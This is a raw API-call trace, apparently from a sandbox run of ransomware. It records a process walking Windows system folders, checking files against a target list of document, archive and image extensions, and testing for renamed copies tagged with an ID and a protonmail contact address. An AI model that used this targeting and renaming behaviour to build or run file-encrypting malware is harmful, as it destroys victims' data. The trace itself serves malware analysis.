	[0167.768] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20
	[0167.768] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.768] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.768] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.769] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.769] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=76640) returned 1
	[0167.769] CloseHandle (hObject=0x474) returned 1
	[0167.769] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20
	[0167.769] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.769] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.769] Sleep (dwMilliseconds=0x64) 
	[0168.096] Sleep (dwMilliseconds=0x64) 
	[0168.498] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.498] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0168.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.499] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=656088) returned 1
	[0168.499] CloseHandle (hObject=0x4b0) returned 1
	[0168.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0168.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.584] lstrlenW (lpString=".doc") returned 4
	[0168.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString=".docx") returned 5
	[0168.584] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0168.584] lstrlenW (lpString=".pdf") returned 4
	[0168.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString=".xls") returned 4
	[0168.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString=".xlsx") returned 5
	[0168.584] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0168.584] lstrlenW (lpString=".ppt") returned 4
	[0168.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.584] lstrlenW (lpString=".zip") returned 4
	[0168.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString=".rar") returned 4
	[0168.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.584] lstrlenW (lpString=".bz2") returned 4
	[0168.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.584] lstrlenW (lpString=".7z") returned 3
	[0168.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.585] lstrlenW (lpString=".dbf") returned 4
	[0168.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.585] lstrlenW (lpString=".1cd") returned 4
	[0168.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.585] lstrlenW (lpString=".jpg") returned 4
	[0168.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.585] lstrlenW (lpString=".doc") returned 4
	[0168.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.585] lstrlenW (lpString=".docx") returned 5
	[0168.585] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0168.585] lstrlenW (lpString=".pdf") returned 4
	[0168.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.585] lstrlenW (lpString=".xls") returned 4
	[0168.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.585] lstrlenW (lpString=".xlsx") returned 5
	[0168.585] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0168.585] lstrlenW (lpString=".ppt") returned 4
	[0168.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.586] lstrlenW (lpString=".zip") returned 4
	[0168.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.586] lstrlenW (lpString=".rar") returned 4
	[0168.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.586] lstrlenW (lpString=".bz2") returned 4
	[0168.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.586] lstrlenW (lpString=".7z") returned 3
	[0168.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.586] lstrlenW (lpString=".dbf") returned 4
	[0168.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.586] lstrlenW (lpString=".1cd") returned 4
	[0168.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0168.586] lstrlenW (lpString=".jpg") returned 4
	[0168.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.586] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.586] lstrlenW (lpString="IpsPlugin.dll") returned 13
	[0168.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.588] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=125952) returned 1
	[0168.588] CloseHandle (hObject=0x4b0) returned 1
	[0168.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20
	[0168.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.589] lstrlenW (lpString=".doc") returned 4
	[0168.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString=".docx") returned 5
	[0168.589] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0168.589] lstrlenW (lpString=".pdf") returned 4
	[0168.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString=".xls") returned 4
	[0168.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString=".xlsx") returned 5
	[0168.589] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0168.589] lstrlenW (lpString=".ppt") returned 4
	[0168.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.589] lstrlenW (lpString=".zip") returned 4
	[0168.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString=".rar") returned 4
	[0168.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.589] lstrlenW (lpString=".bz2") returned 4
	[0168.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.589] lstrlenW (lpString=".7z") returned 3
	[0168.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.590] lstrlenW (lpString=".dbf") returned 4
	[0168.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.590] lstrlenW (lpString=".1cd") returned 4
	[0168.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.590] lstrlenW (lpString=".jpg") returned 4
	[0168.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.590] lstrlenW (lpString=".doc") returned 4
	[0168.590] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.590] lstrlenW (lpString=".docx") returned 5
	[0168.590] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0168.590] lstrlenW (lpString=".pdf") returned 4
	[0168.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.590] lstrlenW (lpString=".xls") returned 4
	[0168.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.590] lstrlenW (lpString=".xlsx") returned 5
	[0168.590] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0168.590] lstrlenW (lpString=".ppt") returned 4
	[0168.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.591] lstrlenW (lpString=".zip") returned 4
	[0168.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.591] lstrlenW (lpString=".rar") returned 4
	[0168.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.591] lstrlenW (lpString=".bz2") returned 4
	[0168.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.591] lstrlenW (lpString=".7z") returned 3
	[0168.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.591] lstrlenW (lpString=".dbf") returned 4
	[0168.591] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.591] lstrlenW (lpString=".1cd") returned 4
	[0168.591] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64
	[0168.591] lstrlenW (lpString=".jpg") returned 4
	[0168.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.591] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.591] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0168.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.593] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10752) returned 1
	[0168.593] CloseHandle (hObject=0x4b0) returned 1
	[0168.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20
	[0168.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.593] lstrlenW (lpString=".doc") returned 4
	[0168.593] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.593] lstrlenW (lpString=".docx") returned 5
	[0168.593] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.593] lstrlenW (lpString=".pdf") returned 4
	[0168.593] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.593] lstrlenW (lpString=".xls") returned 4
	[0168.593] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.593] lstrlenW (lpString=".xlsx") returned 5
	[0168.594] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.594] lstrlenW (lpString=".ppt") returned 4
	[0168.594] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.594] lstrlenW (lpString=".zip") returned 4
	[0168.594] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.594] lstrlenW (lpString=".rar") returned 4
	[0168.594] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.594] lstrlenW (lpString=".bz2") returned 4
	[0168.594] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.594] lstrlenW (lpString=".7z") returned 3
	[0168.594] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.594] lstrlenW (lpString=".dbf") returned 4
	[0168.594] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.594] lstrlenW (lpString=".1cd") returned 4
	[0168.594] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.594] lstrlenW (lpString=".jpg") returned 4
	[0168.594] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.595] lstrlenW (lpString=".doc") returned 4
	[0168.595] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.595] lstrlenW (lpString=".docx") returned 5
	[0168.595] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.595] lstrlenW (lpString=".pdf") returned 4
	[0168.595] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.595] lstrlenW (lpString=".xls") returned 4
	[0168.595] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.595] lstrlenW (lpString=".xlsx") returned 5
	[0168.595] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.595] lstrlenW (lpString=".ppt") returned 4
	[0168.595] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.595] lstrlenW (lpString=".zip") returned 4
	[0168.595] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.595] lstrlenW (lpString=".rar") returned 4
	[0168.595] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.595] lstrlenW (lpString=".bz2") returned 4
	[0168.595] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.595] lstrlenW (lpString=".7z") returned 3
	[0168.595] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.595] lstrlenW (lpString=".dbf") returned 4
	[0168.595] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.596] lstrlenW (lpString=".1cd") returned 4
	[0168.596] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72
	[0168.596] lstrlenW (lpString=".jpg") returned 4
	[0168.596] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.596] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.596] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0168.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.597] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7680) returned 1
	[0168.597] CloseHandle (hObject=0x4b0) returned 1
	[0168.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20
	[0168.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.597] lstrlenW (lpString=".doc") returned 4
	[0168.597] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.597] lstrlenW (lpString=".docx") returned 5
	[0168.597] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.597] lstrlenW (lpString=".pdf") returned 4
	[0168.597] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.597] lstrlenW (lpString=".xls") returned 4
	[0168.597] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.597] lstrlenW (lpString=".xlsx") returned 5
	[0168.597] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.598] lstrlenW (lpString=".ppt") returned 4
	[0168.598] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString=".zip") returned 4
	[0168.598] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.598] lstrlenW (lpString=".rar") returned 4
	[0168.598] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.598] lstrlenW (lpString=".bz2") returned 4
	[0168.598] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.598] lstrlenW (lpString=".7z") returned 3
	[0168.598] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString=".dbf") returned 4
	[0168.598] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString=".1cd") returned 4
	[0168.598] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString=".jpg") returned 4
	[0168.598] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.598] lstrlenW (lpString=".doc") returned 4
	[0168.598] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.599] lstrlenW (lpString=".docx") returned 5
	[0168.599] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.599] lstrlenW (lpString=".pdf") returned 4
	[0168.599] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.599] lstrlenW (lpString=".xls") returned 4
	[0168.599] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.599] lstrlenW (lpString=".xlsx") returned 5
	[0168.599] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.599] lstrlenW (lpString=".ppt") returned 4
	[0168.599] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.599] lstrlenW (lpString=".zip") returned 4
	[0168.599] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.599] lstrlenW (lpString=".rar") returned 4
	[0168.599] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.599] lstrlenW (lpString=".bz2") returned 4
	[0168.599] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.599] lstrlenW (lpString=".7z") returned 3
	[0168.599] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.599] lstrlenW (lpString=".dbf") returned 4
	[0168.599] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.599] lstrlenW (lpString=".1cd") returned 4
	[0168.599] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72
	[0168.600] lstrlenW (lpString=".jpg") returned 4
	[0168.600] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.600] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.600] lstrlenW (lpString="tipresx.dll.mui") returned 15
